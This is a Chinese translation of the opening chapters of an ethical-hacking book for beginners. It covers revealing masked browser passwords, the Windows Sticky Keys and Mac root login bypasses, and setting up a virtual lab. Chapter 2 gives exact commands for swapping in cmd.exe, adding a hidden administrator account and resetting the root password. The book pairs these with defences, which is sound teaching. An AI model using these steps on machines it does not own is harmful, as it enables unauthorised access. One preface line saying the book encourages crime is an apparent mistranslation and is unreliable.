自我黑客指南-全-

自我黑客指南(全)

原文:zh.annas-archive.org/md5/f1d798320a900483685adf62346e8cad

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

黑客行为是一项实用且有用的技能。当它被道德地使用时,黑客行为可以帮助你找回忘记的密码,或访问你以为永远丢失的文件。学习黑客行为还可以帮助你保护个人信息免受网络攻击者的侵害。事实上,在坏人先动手之前对自己进行黑客攻击,是保护自己免受网络犯罪侵害的最佳方式之一。

本书鼓励犯罪活动。它旨在教你如何像黑客一样思考,并将这些技能应用于解决问题、网络安全以及在线安全。

黑客基础

黑客行为是指使用已经存在的工具,做出新的或出乎意料的事情。比如“生活黑客”,像是用牙线整齐地切蛋糕,或者将空的口香糖罐子重新利用来存放回形针。自从人类出现在这个星球上,我们一直在为周围的事物创造新的工具和新的用途。

计算机黑客行为也类似。我们常常用计算机技术做一些新颖和出乎意料的事情。通过编写一个小程序,将两个本来不兼容的程序进行连接,或者将一个程序的文件格式转换为另一个格式。我们可以黑客化一个网页浏览器或电子表格程序来玩游戏。或者,如果不小心,别人可能会通过发送病毒邮件黑进你的计算机,获取你的文件、密码,甚至是你的摄像头。

在本书中,我们将把计算机黑客行为视作一种武术——你不仅要学会如何进攻,还要学会如何防御进攻。你将通过在虚拟实验室中安全地进行这些黑客行为,学会如何保护自己和他人免受网络攻击。通过使用黑客们所用的工具和技术,你将了解需要防范的网络威胁。

保持道德

黑客有许多种类型,但由于“黑客”一词被滥用得太多,我们在本书中将把自己称为道德黑客——以明确表示我们将使用学到的黑客技能用于道德和合法的目的。我会用攻击者恶意黑客来指代那些非法或不道德行事的人。

道德黑客是指使用攻击者的工具和技术,在得到系统所有者完全授权的情况下,测试计算机系统的弱点。道德黑客的目标是找出弱点,从而改善系统的安全性。我们称这个过程为加固系统——去除和修复弱点,使系统更加抗攻击。

道德黑客也被称为白帽黑客,而黑帽黑客则是那些不道德地进行网络攻击的人,无论是出于财务利益、破坏行为还是其他恶意目的。为了说明这种区别,假设你在路上发现了一把钥匙。仅仅发现这把钥匙并不不道德。事实上,如果你走到最近的房子前,敲门并问屋主这把钥匙是不是他们的,那完全是道德的。白帽黑客会问屋主是否不小心掉了钥匙。另一方面,如果你捡起钥匙并开始尝试将它插入街道上的每一扇门,你就像一个黑帽黑客,因为你没有屋主的许可使用这把钥匙或进入他们的家。

在阅读本书的过程中,你会发现许多“钥匙”就在公开的地方。例如,进行一些创意的谷歌搜索可能会找到一个当地超市监控摄像头的默认用户名和密码。仅仅发现这些信息并不不道德。告诉商店经理该监控摄像头可以在线访问也不不道德。但如果你试图使用用户名和密码查看摄像头的视频,那就是不道德的,因为你没有得到屋主的授权。

在未经他人许可的情况下访问他人的计算机或设备是无道德的,通常也是非法的,就像未经许可进入他人的住宅是非法侵入,即使他们不小心把门留开或把钥匙掉在了人行道上。人们会通过你的行为判断你的行为是否合乎道德。像白帽黑客一样黑客攻击,并将你在本书中学到的技能用于正当目的,而不是恶意目的。

本书的组织结构

本书将教你如何进行攻击,也教你如何防御攻击。每一章都会提升你作为一名道德黑客的技能水平。

前两章包含了你可以立即动手进行的黑客攻击,无需任何特殊工具——只需要一台普通的计算机和网络浏览器。你将从第一章开始,破解第一个密码——一个保存在浏览器中的密码。攻击者总是盯着你的密码,因为如果他们能盗取你的登录信息,就可以从你的账户中窃取信息或资金。

在第二章,你将了解如何破解你可能放在储物间、车库或阁楼里的旧 Windows PC 或 MacBook,并学习如何恢复你以为已经丢失的文件。

在第三章,你将在自己的计算机上构建一个安全的虚拟黑客实验室环境。这将使你可以安全地练习在后续章节中学习的高级黑客技术,而不会让你的计算机或你自己陷入危险。

在第四章,你将学习黑客如何使用简单的工具,如搜索引擎和社交媒体帖子,收集有关他们所保护或攻击的个人或公司的信息。你还将学习如何保护自己,避免成为利用社交媒体监视潜在受害者的网络掠食者的目标。

在第五章中,你将亲身体验攻击者如何通过钓鱼邮件欺骗你泄露用户名和密码,因为你将构建自己的钓鱼邮件和伪造网站!

在第六章中,你将看到攻击者如何利用病毒感染的文件远程控制互联网上的计算机。你将创建一个实际的病毒,并在安全的虚拟黑客实验室中攻击一个模拟的 Windows 计算机。

在第七章中,你将看到黑帽黑客如何从每个 Windows 计算机用户那里窃取并“破解”数十个密码,同时你还将学习如何让自己的密码更安全。

在第八章中,你将学习如何攻击和防御 Web 应用程序。恶意黑客知道,破解的 Web 应用程序可以泄露成千上万甚至百万用户的信息。

在第九章中,你将看到攻击者如何通过创建恶意的移动应用程序来窃取你的私人信息,包括短信和照片,从而控制你的智能手机。

在第十章中,你将黑进一辆(模拟的)汽车!这个最后的练习让你一窥攻击者如何越来越关注超越 PC 和手机的世界,包括智能家电和其他联网设备。

最后,在第十一章,我们将总结出 10 个你现在就能采取的措施来保护自己在线,概括本书中最重要的技巧和建议。几个简单的自我防护步骤可以防止大多数在线攻击成功。

网络自我防护基础

当你探索接下来章节中的黑客技术时,你将更多了解白帽黑客用来保护他们所防守系统的核心行为。良好的网络自我防护始于理解来自网络掠食者和在线攻击者的威胁。下一步是学习如何避免成为易受攻击的目标。通过更多练习,你将能够保护自己和他人免受即使是高度复杂的现实世界攻击。

你可以通过改变你使用计算机和其他设备的方式,从网络受害者变成网络英雄!让我们开始吧!

第一章:模糊安全

在本章中,你将开始学习如何像黑客一样思考,寻找安全措施中的弱点。你将发现一种简单的技巧,可以揭示隐藏在网页浏览器中的密码。这个技巧之所以有效,是因为网页浏览器通过模糊安全来保护密码。

模糊安全是一种通过隐藏事物来保持其安全的技术。在物理世界中,将房门钥匙藏在前门欢迎垫下就是模糊安全的一个例子。你的房子可能感觉很安全,但只要有人想到检查垫子下,安全性就会崩溃。

为了安全起见隐藏某些东西并不一定是坏方法,除非这是你采取的唯一安全措施。不幸的是,模糊安全往往会失败,尤其是在我们的计算机上。例如,许多用户将密码“隐藏”在计算机上的文本文件或 Excel 电子表格中,或者更糟糕的是,放在键盘下方的便签纸上,或者桌子抽屉里。这些密码比本章中你将破解的密码还容易被找到。同样,一些软件开发人员将模糊处理的密码和其他秘密值硬编码到应用程序中,但一个熟练的黑客通常可以找到并解码这些值。

正如你在本章中所看到的,如果模糊是你唯一的安全手段,那么站在你和一个有动机的入侵者之间的,只是他们花费一些时间和精力来寻找进入的方式。

浏览器如何“保护”密码

当你输入密码登录某个在线服务时,比如邮箱或社交媒体账户,你的浏览器通常会用点或星号来隐藏密码。这样,别人从你肩膀上看到的就不是密码。如果你告诉浏览器保存密码,下次你访问该网站时,浏览器会自动在密码框中填入你保存的密码,且仍然以点或星号的形式显示。

这些点或星号是模糊安全的一个很好的例子。你的浏览器并没有加密密码,也没有以任何其他特殊方式保护密码。它只是模糊化密码框中的字符,以防止别人随便窥视。这个技术实际上并不安全。事实上,一个黑客只需要几秒钟的时间,就能在你的键盘上查看密码。

揭示模糊的密码

为了揭示浏览器隐藏的密码,我们将使用浏览器的检查工具。这个工具让你查看并临时编辑网页的源代码,即指示浏览器如何显示网页的代码。我们将修改源代码中让密码以点或星号显示的部分。完成后,密码将以普通文本的形式显示出来。

这不是一种能够摧毁一个国家或在一举之间泄露数百万人的私人数据的黑客攻击。相反,这个黑客攻击演示了黑客的一个指导原则:以创意的方式使用现有工具——在这个案例中是浏览器的检查工具——来实现特定目标——揭示隐藏的密码。同时,这个黑客攻击还展示了将密码存储在浏览器中的风险,如果攻击者获得了你计算机的物理访问权限。

让我们尝试这个黑客攻击,以 Twitter 登录页面为例。我们将输入一个虚假的用户名和密码,启动浏览器的检查工具,并更新源代码以暴露密码。

  1. 打开 Google Chrome 并访问twitter.com/login/。这个黑客攻击在其他浏览器中也适用,但我们为了简便起见使用 Chrome。

  2. 在用户名字段中输入你的名字,并在密码字段中输入Notmyrealpassword!不要输入你真实的密码。密码将被点号隐藏,如图 1-1 所示。f01001

    图 1-1:Web 浏览器通常用点或星号隐藏密码。

  3. 右键单击(或在 Mac 上按 CONTROL 键单击)密码字段并选择检查,如图 1-2 所示。检查工具将显示一组代码窗口,应该会在浏览器中打开。由于你右键单击了密码字段来打开检查工具,浏览器应该已经高亮显示了登录页面中创建密码字段的代码部分。f01002

    图 1-2:检查密码代码

  4. 在高亮的代码中找到type="password",然后双击单词password来选择它,如图 1-3 所示。这段代码就是浏览器识别密码字段的方式。浏览器知道,任何在password类型字段中的文本都应该被隐藏。f01003

    图 1-3:在检查工具中找到type="password"

  5. 高亮显示password后,按空格键将password替换为空格(type=" "),如图 1-4 所示。我们现在已经更改(或黑客化)了密码字段的代码,使得浏览器不再知道它应该是一个密码类型的字段。这应该会显示密码字段中的任何文本!!f01004

    图 1-4:在type="password"中替换单词password

  6. 按 ENTER 键以在浏览器中显示更新后的代码。你现在应该可以看到你输入的密码以普通文本形式显示在浏览器窗口中,如图 1-5 所示。

这个黑客手段之所以有效,是因为<input>标签让网页开发者创建密码字段的方式存在安全漏洞——而且这个漏洞已经存在了二十五年。在 1990 年代,当早期的网页开发者将<input>标签添加到超文本标记语言(HTML)中——这就是让网页能够在浏览器中显示的语言时,他们的唯一安全特性就是通过额外的代码type="password"将密码字符替换为点或星号。然而,由于普通的文本框也使用<input>标签,我们可以通过使用检查工具将密码输入框变成普通文本输入框,仅需将type="password"改为type=" "

f01005

图 1-5:密码现在可见。

使用和滥用这个黑客手段

我们刚刚执行的这个黑客手段有实际的、道德的应用。由于存储在浏览器中的密码会在网站登录页面自动填充并被隐藏,你可以使用这个简单的黑客技巧来揭示你已经忘记的密码。特别是当你将密码保存在一台计算机上(比如家庭计算机),但有时需要在其他计算机上登录(比如工作计算机、家人计算机或移动设备)时,这特别有用。如果你在尝试在其他计算机上登录时无法记起密码,你可以在家庭计算机上揭示存储的密码并查找它,而不是重置密码。

这个黑客手段也可以在其他方面道德地使用。例如,如果一名员工突然离开公司,公司老板允许的情况下,合格的道德黑客可以使用这个技巧恢复员工可能负责的重要在线账户的密码。

如果你练习足够多次,你可以轻松地在 5 秒钟内执行这个黑客手段。然而,这也意味着,如果你曾将密码保存在公共计算机上,任何有物理访问权限的人只需要 5 秒钟就能盗取密码。黑帽黑客可以走进世界上几乎任何地方的酒店大堂或公共图书馆,坐在计算机前,查看浏览器历史记录中最近访问的网站,看看是否有潜在的受害者在登录私人账户时保存了密码。

你甚至不需要将密码保存在浏览器中,别人也能通过这个方法窃取它。如果你在公共场所,且在输入密码时有人分散了你的注意力,他们可以利用这个黑客手段盗取你的密码。甚至他们可以修复type="password"代码并关闭检查工具来掩盖痕迹!如果你为多个账户使用了相同的密码,攻击者现在也能访问这些其他账户。

保护你的密码

我们讨论的这个黑客攻击方法,若被恶意使用,显然会对你的密码安全构成风险。然而,有一些简单的方法可以帮助你保护自己。首先,这种攻击只有在黑客能够物理访问存储的密码时才有可能发生,所以预防攻击的关键是:要么完全不在浏览器中存储密码,要么限制以下几点:

  1. 密码存储的位置 只在你拥有并随身携带的计算机或设备的浏览器中存储密码,绝不要在公共计算机上存储密码。

  2. 哪些密码需要存储 永远不要存储你的电子邮件密码,因为攻击者通常可以通过你的电子邮件账户发现或重置你所有其他的密码。

  3. 谁能访问你的计算机 将你的计算机随身携带或存放在安全的地方,如果你必须离开,即便是片刻,也不要让它保持开启状态。

如果你必须在公共计算机上连接私人账户,使用隐身模式(CTRL-SHIFT-N)在 Chrome 中,或者在 Firefox(CTRL-SHIFT-P)或 Safari(SHIFT-⌘-N)中打开新的私人窗口,来限制浏览器中存储的信息。记得在完成会话后既要退出登录,又要完全关闭浏览器。 即使你退出登录或使用隐身模式,共享计算机仍然有风险,因为恶意软件可能会记录你的按键或其他信息。(实际上,我们将在第六章通过创建病毒捕捉按键。)只有在绝对必要时,才在公共计算机上登录账户。同时,回到自己的计算机后考虑更改密码。

如果你在公共场所使用个人计算机,确保在离开时退出登录或锁定屏幕——或者最好将计算机随身携带。将锁屏或屏幕保护程序的开启时间设置为几分钟,这样就能在你忘记锁屏时限制计算机暴露的时间。登录计算机时使用强密码或密码短语(尝试四个或更多单词),而不是像password123这样明显的密码,这样其他人就不能轻易解锁你的计算机,如果它被无人看管。

除了这些措施之外,你还应当利用其他密码安全工具,如两因素认证和像 KeePass、Dashlane、LastPass 或类似的密码管理器。我们将在第十一章讨论这些工具。

保护自己免受计算机攻击需要采取一些明智的预防措施,但重要的是要知道如何平衡便利性和安全性。将所有的密码存储在浏览器中看起来很方便,因为你无需每次都输入它们,但这也意味着所有有权访问该计算机的人都能窃取你的密码和账户信息。我们必须在现实世界和在线世界中找到便利性与安全性之间的平衡。

要点总结

在本章中,你看到通过模糊化实现的安全性是很容易被突破的,因此根本不安全。你学会了如何仅通过几个步骤,在几秒钟内揭示输入到浏览器中的密码。你还学会了在公共或共享计算机上永远不要存储密码的重要性。此外,你现在知道如何将计算机从你不认识或不信任的人那里物理保护起来——如果有人能接触到你的键盘,他们就能访问你的敏感信息。

本章讨论的破解方法是一个物理访问攻击的例子——攻击者需要物理接触你的计算机才能执行它。在下一章,你将了解其他物理访问攻击,这些攻击让黑客能够从你的硬盘驱动器中获取文件,而无需知道你的登录信息。

第二章:物理访问黑客攻击

你是否曾在咖啡店里把笔记本电脑放在一边,认为你的私人文件会在登录屏幕后得到安全保护?事实证明,任何具有物理访问权限的人都可以通过几次按键操作,在不需要知道你的登录详情的情况下访问你的文件。在本章中,我将向你展示两种物理访问黑客攻击:适用于 Windows 电脑的粘滞键黑客攻击和适用于 Mac 的Mac root 黑客攻击。这两种黑客攻击都可以让攻击者获得目标计算机的管理员级别访问权限,允许他们窃取文件或更改重要设置。

物理访问黑客攻击可能听起来很可怕,因为攻击者可以在被盗或无人看管的计算机上恶意使用它们。然而,它们也有建设性的应用。家庭和 IT 帮助台的道德黑客使用像粘滞键黑客攻击或 Mac root 黑客攻击这样的技术来恢复那些因密码遗忘而无法访问的文件。如果你有一台放在车库或阁楼的旧电脑,里面有家庭照片或其他重要文档,由于没人记得电脑密码而无法访问,这些黑客攻击可以帮助你恢复。

粘滞键黑客攻击

粘滞键是 Windows 的一个功能,它通过允许你依次按键而不是同时按下所有按键,使得发出某些键盘命令(如 CTRL-C 复制或 CTRL-V 粘贴)变得更加容易。粘滞键通过连续按五次 SHIFT 键来触发,甚至可以在 Windows 登录屏幕上启用,在输入用户名或密码之前。

对于这个黑客攻击,我们将用另一个文件cmd.exe替换粘滞键程序文件。这样,按下 SHIFT 五次后,启动的将是一个命令提示符,而不是通常的粘滞键助手。命令提示符是一个基于文本的程序,允许我们直接在 Windows 中输入命令。通过在登录屏幕上启动命令提示符(见图 2-1),你将能够添加一个新的用户名和密码,给自己管理员级别的访问权限,并访问计算机上的文件,而无需知道该计算机的登录信息!

由于 2019 年或之后更新的 Windows 10 计算机已免受粘滞键黑客攻击,您需要一台旧版 Windows 计算机来亲自尝试这种黑客攻击。您还需要一个 Windows 10 安装光盘或 USB 驱动器。要创建一个,请按照附录 A 中的说明进行操作。

从 Windows 10 安装光盘启动

要用命令提示符程序替换粘滞键程序,我们需要通过 Windows 10 安装光盘或 USB 驱动器访问包含这些程序文件的硬盘。一旦你按照附录 A 中的说明创建了安装光盘,插入光盘并重新启动计算机。

f02001

图 2-1:粘滞键黑客攻击会启动一个命令提示符窗口,而不是粘滞键助手。

我们需要告诉计算机从光盘或 USB 驱动器加载操作系统,而不是从计算机的硬盘驱动器加载。为此,我们需要访问启动菜单或基本输入输出系统(BIOS),它包含控制计算机启动时基本设置的选项。不同的 PC 制造商和 Windows 版本会导致说明略有不同,但以下步骤结合一些网络搜索,通常能帮助你进入大多数较旧版本的 Windows 计算机:

  1. 在 Windows 计算机上,你需要按一个特殊的键才能进入启动菜单或 BIOS。如果启动画面没有显示出在 Windows 启动 logo 出现之前需要按哪个键,重新启动计算机并在启动时迅速按 ESC、DELETE、F8、F9、F10、F11 或 F12。在线搜索“启动菜单”和你计算机的具体型号来找到正确的按键。

  2. 如果出现启动菜单,请选择从 DVD 启动从 USB 启动选项,使用插入的 Windows 安装光盘启动,然后继续执行第 5 步。

  3. 如果启动菜单在几次重启后没有出现,可以尝试进入 BIOS 菜单:关机再开机,并按 DELETE、F2、F9、F10、F12 或 ESC 键。在线搜索“BIOS”和你的计算机型号以找到正确的按键。

  4. 进入 BIOS 后,找到启动选项并通过调整启动设备的顺序或优先级(通常使用箭头键)将 USB 或 DVD 设置为首选项。然后保存更改并退出 BIOS。

  5. 再次重启计算机。你应该会看到短暂的消息Press any key to boot from CD or DVDPress any key to boot from USB device立即按下任意键(例如空格键)以从 DVD 或 USB 启动。

  6. 当 Windows 安装光盘启动时,点击下一步修复计算机故障排除命令提示符,如图 2-2 所示。菜单顺序或选项名称可能有所不同,但请寻找 Windows 命令提示符。f02002a

    图 2-2:使用 Windows 安装光盘访问命令提示符。

  7. 一旦进入 Windows 命令提示符(通常是一个黑色的文本窗口),输入c:并按ENTER键切换到 C:驱动器,如下所示:

    X:\> `c:`
    
  8. 输入命令dir以查看 C:驱动器上的文件和文件夹列表。寻找一个名为Windows的文件夹(它会标记为<DIR>,表示目录)。

    C:\> `dir` Volume in drive C is Windows 10 Volume Serial Number is B4EF-FAC7 Directory of C:\*--snip--*
    03/15/2018  02:51 AM    <DIR>            Users
    05/19/2019  10:09 AM    <DIR>            Windows1*--snip--*
    

    这个文件夹 1 包含操作系统文件,包括我们需要替换以执行此黑客操作的命令提示符应用程序和 Sticky Keys 程序文件。

  9. 如果 C:驱动器中没有Windows目录,可以尝试在 D:驱动器中执行相同的操作,输入d:然后输入dir。如果 D:驱动器中也没有Windows目录,继续按字母顺序检查其他驱动器(E:、F:、G:等等),直到找到包含Windows目录的驱动器。

获取管理员级别访问权限

现在开始用cmd.exe命令提示符程序替换sethc.exe Sticky Keys 程序。然后我们将能够在计算机上创建一个新的管理员账户。

  1. 输入以下三个命令:

    C:\> `cd \Windows\System32\`
    C:\Windows\System32\> `copy sethc.exe sethc.bak`
    C:\Windows\System32\> `copy cmd.exe sethc.exe`
    

    这些命令进入我们可以找到sethc.execmd.exe的目录,创建 Sticky Keys 程序的备份副本,并用命令提示符程序文件替换原始的 Sticky Keys 程序文件。这样,每当计算机运行sethc.exe时,它将打开一个命令提示符窗口,而不是 Sticky Keys 程序。

  2. 输入第三个命令后,Windows 会询问你是否要覆盖sethc.exe。输入Y继续。

  3. 移除 Windows 10 安装 DVD 或 USB 并重启计算机。

  4. 当 PC 启动到登录屏幕时,按SHIFT五次。你应该会看到一个命令提示符窗口弹出,位于登录屏幕前,而不是通常的 Sticky Keys 程序,如图 2-3 所示。f02003

    图 2-3:打开命令提示符窗口

  5. 在命令提示符窗口中输入以下两个命令:

    C:\Windows\System32\> `net user ironman Jarvis /add`
    C:\Windows\System32\> `net localgroup administrators ironman /add`
    

    第一个命令将一个名为ironman的用户账户和密码Jarvis添加到 Windows 计算机中。第二个命令将ironman用户添加到本地管理员列表中。这意味着当我们以ironman身份登录时,我们将拥有对计算机上所有文件的管理员级别访问权限。

  6. 当你看到像图 2-4 中的成功消息时,关闭命令提示符。f02004

    图 2-4:我们已经成功将一个名为ironman的用户添加为此计算机的管理员。

除了创建新用户账户外,你还可以通过在命令提示符窗口中输入net user,后跟现有用户名和你想设置的新密码,来重置现有用户的密码——例如,net user bryson Thisisyournewpassword!。不过,在没有他人许可和计算机所有者的许可下,切勿重置他人的密码。

现在你是管理员了。登录吧!

恭喜!你现在已经以管理员身份访问了这台计算机。继续登录吧。输入.\ironman作为用户名(或从账户列表中选择ironman,如图 2-5 所示)。在ironman前的点和反斜杠告诉 Windows 该账户是本地账户,而不是存储在网络服务器上的账户。输入用户名后,输入密码Jarvis

f02005

图 2-5:现在你可以使用ironman用户登录到这台 Windows PC。

由于我们将ironman用户添加到了本地管理员组中,你应该可以访问所有文件和文件夹,包括* C:\Users*中所有用户的文档,如图 2-6 所示。

f02006

图 2-6:作为管理员级别的用户,你可以查看所有用户的文件,而不仅仅是你自己的。

当你第一次点击进入其他用户的文件夹时,系统会弹出一条消息,提示你需要权限才能打开其他用户的文件,如图 2-7 所示。由于你是管理员,点击继续以授予自己永久访问权限!

f02007

图 2-7:管理员可以授权自己访问同一台计算机上任何人的文件。

Sticky Keys 攻击仅在 Windows 机器上有效。然而,运行 macOS 的计算机同样也容易受到物理访问攻击。

Mac Root 攻击

与 Sticky Keys 攻击类似,Mac root 攻击是一种物理访问攻击,它将授予你管理员级别的计算机访问权限。它会让你成为 root 用户,这是 macOS 计算机上的管理员账户。进行此攻击时,你只需要一台 Mac 计算机。我们将以 单用户模式 重启 Mac,这是一个故障排除和修复登录模式。在那里,我们可以更改 root 用户的密码,从而获取计算机上所有文件的访问权限。

更新 Root 用户设置

  1. 首先,Mac 需要完全关机——而不仅仅是睡眠模式。如果它尚未关机,按住电源按钮约六秒钟。

  2. 按住 COMMAND-S (⌘-S) 再次按下电源按钮以进入单用户模式。你应该看到一个基于文本的命令行终端窗口,功能非常简单,如图 2-8 所示。f02008

    图 2-8:Mac 单用户模式启动屏幕的一部分

    终端提示符应显示 root#(如果在最后一行没有显示,按几次回车,它应该会出现),这表示我们已以 root 用户(或管理员用户)身份登录命令行。

  3. 输入以下命令来挂载或连接硬盘:

    localhost:/ root# `/sbin/fsck -fy`
    localhost:/ root# `/sbin/mount -uw /`
    
  4. 现在连接到 Open Directory 服务的属性列表,即 plist

    localhost:/ root# **launchctl load /System/Library/LaunchDaemons/com.apple.opendirectoryd.plist**
    

    你的 Mac 使用 Open Directory 来跟踪用户、组、文件共享,甚至 Wi-Fi 打印机。可以将它视为你 Mac 上所有用户账户和权限的目录。

  5. 如果在运行前一个命令后遇到错误,请尝试运行以下命令——它与第 4 步相同,但适用于较旧的 Mac:

    localhost:/ root# **launchctl load /System/Library/LaunchDaemons/com.apple.DirectoryServices.plist**
    
  6. 现在更改 root 用户的密码。输入以下命令:

    localhost:/ root# `passwd`
    
  7. 输入一个新密码。在输入时,你不会看到密码字符出现在屏幕上。然后再次输入密码以确认更改。(如果输入错误,可以再次启动单用户模式并执行相同的操作——每次都会重置 root 用户的密码。)

你现在是 Root 用户!

做得好!现在你已经将 root 用户的密码更改为你自己知道的密码,你可以随时以 root 用户身份登录。现在就试试看:在命令行输入 reboot 重新启动计算机,或者按下电源按钮关闭电脑再重新开机。当计算机正常启动到 Mac 登录界面时,输入 root 作为用户名,并输入你刚设置的新密码,如图 2-9 所示。

f02009

图 2-9:在进行 Mac root 破解后,你可以使用在破解中设置的密码以 root 用户身份登录。

点击你看到的任何设置屏幕,你很快就会进入 Mac 桌面。你应该在屏幕顶部的菜单栏中看到自己已作为系统管理员登录。现在你可以访问 Mac 上所有用户的文件和文件夹!

其他物理攻击

除了 Sticky Keys 破解和 Mac root 破解,还有许多其他物理访问攻击。事实上,几乎任何可启动的光盘——比如 Ultimate Boot CD、KNOPPIX、SystemRescueCd 或 Trinity Rescue Kit——都可以让你访问你有物理访问权限的计算机硬盘上的文件。还有一些专门制作的黑客工具,如 Rubber Ducky 和 Bash Bunny,它们的价格低于 100 美元,外形像普通的 USB 驱动器,但包含用于黑客攻击计算机的自动化工具。一些物理攻击甚至使用语音命令。例如,Open Sesame! 攻击利用微软的 Cortana 语音助手通过告诉 Cortana 打开 USB 驱动器或网站上的恶意文件,绕过登录屏幕。

防止物理攻击

如你所见,物理访问攻击可以帮助你恢复旧照片、复制文件,并在几乎任何可以物理接触的计算机上更改用户,即使没有原始密码。然而,这意味着任何有物理访问权限并知道这些破解方法的人,也可以访问 你的 私密文件和信息!这就是为什么将设备随身携带或锁在安全区域非常重要。

然而,如果有人设法访问你的计算机,还是有一些方法可以保护你的数据。其中一种方法是设置 固件密码,也叫做 BIOS 密码EFI 密码。这个选项在 Mac 和大多数 PC 上都可以防止攻击者篡改计算机的 BIOS/UEFI 设置,从而抵消像 Sticky Keys 破解和 Mac root 破解这样的攻击。不幸的是,固件密码只是防御的一层,通常可以被绕过。例如,动机强烈的攻击者可以从你的计算机电路板上移除电池,从而清除大多数 PC 上存储的固件密码。

更为稳妥的做法是加密你的文件,将它们转化为一种不可读的形式,只有通过密码才能解密(还原)。加密密码与计算机的登录密码不同,因此攻击者无法通过 Sticky Keys 或 Mac root 破解更改你的用户密码,从而查看你加密文件中的内容。我们将在第十一章中更详细地讨论加密。

结论

在本章中,你了解了如何使用 Windows Sticky Keys 破解和 Mac root 破解来获得计算机上所有文件和用户账户的管理员级别访问权限,即使你不知道用户名和密码。你还了解到,除了这些方法,还有其他物理破解技术和一些专用工具,比如 Rubber Ducky 和 Bash Bunny,这些工具使物理破解变得更加简单。虽然你可以使用这些破解方法来恢复丢失的文件或重置遗忘的密码,但你也发现,攻击者如果能够物理接触到你的计算机,往往可以访问到你所有的信息。你可以通过限制谁可以访问你的计算机、设置固件密码以及加密你的文件来防御这些破解方法。

现在你已经理解了物理安全的重要性,是时候开始考虑其他可能危害你计算机的攻击了——恶意网站、网络钓鱼和感染的电子邮件附件,甚至是对日常生活中互联网连接智能设备的攻击。为了能够安全地实践这些其他类型的破解,并学习如何防御它们,你将在第三章中建立自己的私人虚拟黑客实验室。

第三章:构建你自己的虚拟黑客实验室

为了安全和道德地学习黑客技术,你将使用虚拟机 (VMs),这些程序能够在你的物理桌面或笔记本电脑中模拟独立的计算机。你可以隔离一个虚拟机,这样它里做的任何事情都不会影响你的电脑或网络。例如,如果你在虚拟机中打开一个带病毒的文件,病毒只会感染虚拟机,而不会影响你的真实电脑。

虚拟化软件 让你能够在桌面或笔记本电脑(主机)上运行一个虚拟机(称为客户机)。在本章中,我们将安装一个免费的虚拟化程序 VirtualBox 和 VirtualBox 扩展包。然后我们将创建两个虚拟机,第一个将是一个运行 Kali Linux 操作系统的攻击性虚拟机,你将使用这个虚拟机发起黑客攻击。另一个虚拟机将是一个运行 Windows 的目标虚拟机,你的攻击将指向这个虚拟机。设置好这两个虚拟机后,你将能够安全地尝试黑客工具,而不会影响你的电脑或其他人的电脑。

设置 VirtualBox

按照这些指示下载并安装 VirtualBox。

  1. 访问 VirtualBox 首页 www.virtualbox.org/,点击下载 VirtualBox按钮。

  2. VirtualBox 下载页面列出了 Windows、macOS 和多种 Linux 主机操作系统的选项。点击与你的电脑匹配的选项,下载 VirtualBox 的最新版本。

  3. 打开下载的文件,按照屏幕上的指示安装 VirtualBox。(Windows 用户应选择以管理员身份运行该文件;你必须具备管理员权限才能运行 VirtualBox。)

除了 VirtualBox 本身,你还需要安装 VirtualBox 扩展包,它增加了诸如支持将较新 USB 设备连接到虚拟机等必要功能。现在就安装它吧。

  1. 返回到 VirtualBox 下载页面 (www.virtualbox.org/wiki/Downloads),找到 VirtualBox 扩展包部分,点击所有支持的平台下载扩展包。

  2. 打开 VirtualBox。(在 Windows 上,确保右键点击 VirtualBox 图标并选择以管理员身份运行。)

  3. 打开你在下载文件夹中的扩展包。

  4. 当 VirtualBox 扩展包安装窗口打开时,点击安装

创建 Kali Linux 虚拟机

现在你已经拥有了 VirtualBox,你将创建你的 Kali Linux 虚拟机。Kali 是一个用于全球道德黑客的 Linux 操作系统版本,包含超过 600 个安全和黑客工具,是攻击性虚拟机的完美操作系统。

  1. 访问 www.kali.org/downloads/,向下滚动到虚拟机部分,点击链接进入虚拟机下载页面。

  2. 点击 Kali Linux VirtualBox 镜像 标签,查看与 VirtualBox 兼容的下载选项。确保选择 VirtualBox 镜像——也有为 VMware 制作的镜像,但它是不同的软件包,与 VirtualBox 不兼容。

  3. 点击 Kali Linux VirtualBox 64 位 下载虚拟机。该文件大约 4GB,建议在网络速度较快的地方进行下载。

  4. 启动 VirtualBox 并选择 文件导入虚拟设备

  5. 点击右侧的文件夹图标,找到你的 Kali Linux 文件。选择该文件,点击 打开,然后点击 下一步(在 PC 上)或 继续(在 Mac 上)。

  6. 现在你应该能看到正在导入的 Kali Linux 虚拟机的设置列表。点击 导入 继续。

  7. 当虚拟机导入完成后,你会在左侧的 Oracle VM VirtualBox 管理器中看到它,正如图 3-1 所示。

f03001

图 3-1:Kali Linux 虚拟机出现在 VirtualBox 管理器左侧的列表中。

当你添加其他虚拟机时,它们会和 Kali 一起出现在列表中。目前,让我们测试一下新的 Kali 虚拟机,确保它能在你的系统上运行。

运行 Kali 虚拟机

双击 VirtualBox 管理器面板中的 Kali Linux 虚拟机条目,启动 Kali Linux 虚拟机。在 VirtualBox 中首次运行虚拟机时,由于你的 Mac 或 PC 上的设置不同,可能会遇到错误。如果你在运行 VirtualBox 或启动 Kali 虚拟机时遇到问题,请参阅附录 B。

当虚拟机启动完成后,你会看到一个登录界面。使用用户名 kali 和密码 kali 登录。登录后,你会看到带有 Kali 龙标志的界面,像图 3-2 中所示的那样。欢迎使用 Kali Linux!

在计算机中使用计算机需要一些适应。当你点击虚拟机窗口内时,你的键盘和鼠标会被“捕获”用于虚拟机内的操作。要将鼠标和键盘返回到你的物理(主机)计算机上,只需点击虚拟机窗口外部或按下键盘上的 主机键。在 PC/Linux 机器上,这通常是 右侧 CTRL 键,而在 Mac 上是 左侧 COMMAND 键。如果你需要提示,主机键也应该在虚拟机窗口的右下角标识出来。

f03002

图 3-2:你的 Kali Linux 虚拟机已准备就绪!

如果你发现虚拟机的屏幕和图标太小,可以前往 视图虚拟屏幕 1 并尝试更改缩放比例或分辨率。另外,如果你长时间不操作虚拟机,虚拟机窗口可能会变空白。如果发生这种情况,点击 Kali 窗口并按空格键唤醒虚拟机。

花些时间探索 Kali Linux。直到我们在本章后面设置网络之前,你将无法连接互联网,但你仍然可以四处看看。点击屏幕顶部的应用程序菜单(带有龙标志的按钮),查看 Kali 提供的数百个程序和工具。它们现在可能看起来有些令人生畏,但本书将教你使用其中的几个,帮助你在探索其他工具时变得更加自信。

